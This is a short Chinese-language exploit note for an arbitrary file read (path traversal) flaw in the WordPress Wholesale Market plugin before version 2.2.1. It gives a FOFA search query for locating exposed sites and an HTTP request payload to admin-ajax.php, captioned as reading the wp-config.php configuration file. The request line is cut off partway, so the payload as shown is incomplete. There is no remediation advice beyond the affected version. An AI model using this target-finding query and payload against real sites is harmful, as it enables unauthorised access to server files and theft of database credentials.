W2-2Wordpress-WholesaleMarket插件-任意文件读取

漏洞描述：

WordPress plugin Wholesale Market 2.2.1之前版本存在路径遍历漏洞，该漏洞源于没有进行授权检查，也不会验证用户输入。攻击者利用该漏洞可以从服务器下载任意文件。

网络测绘：

fofa语法：

FOFA：body="wp-content/plugins/wholesale-market"

漏洞复现：

payload：

```
GET /wp-admin/admin-ajax.php?action=ced_cwsm_csv_import_export_module_download_error_log&tab=ced_cwsm_plugin&section=ced_cwsm_csv_import_export_module&ced_cwsm_log_downl
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Connection: close
Accept-Encoding: gzip
```

效果图:
读取wp-config.php配置文件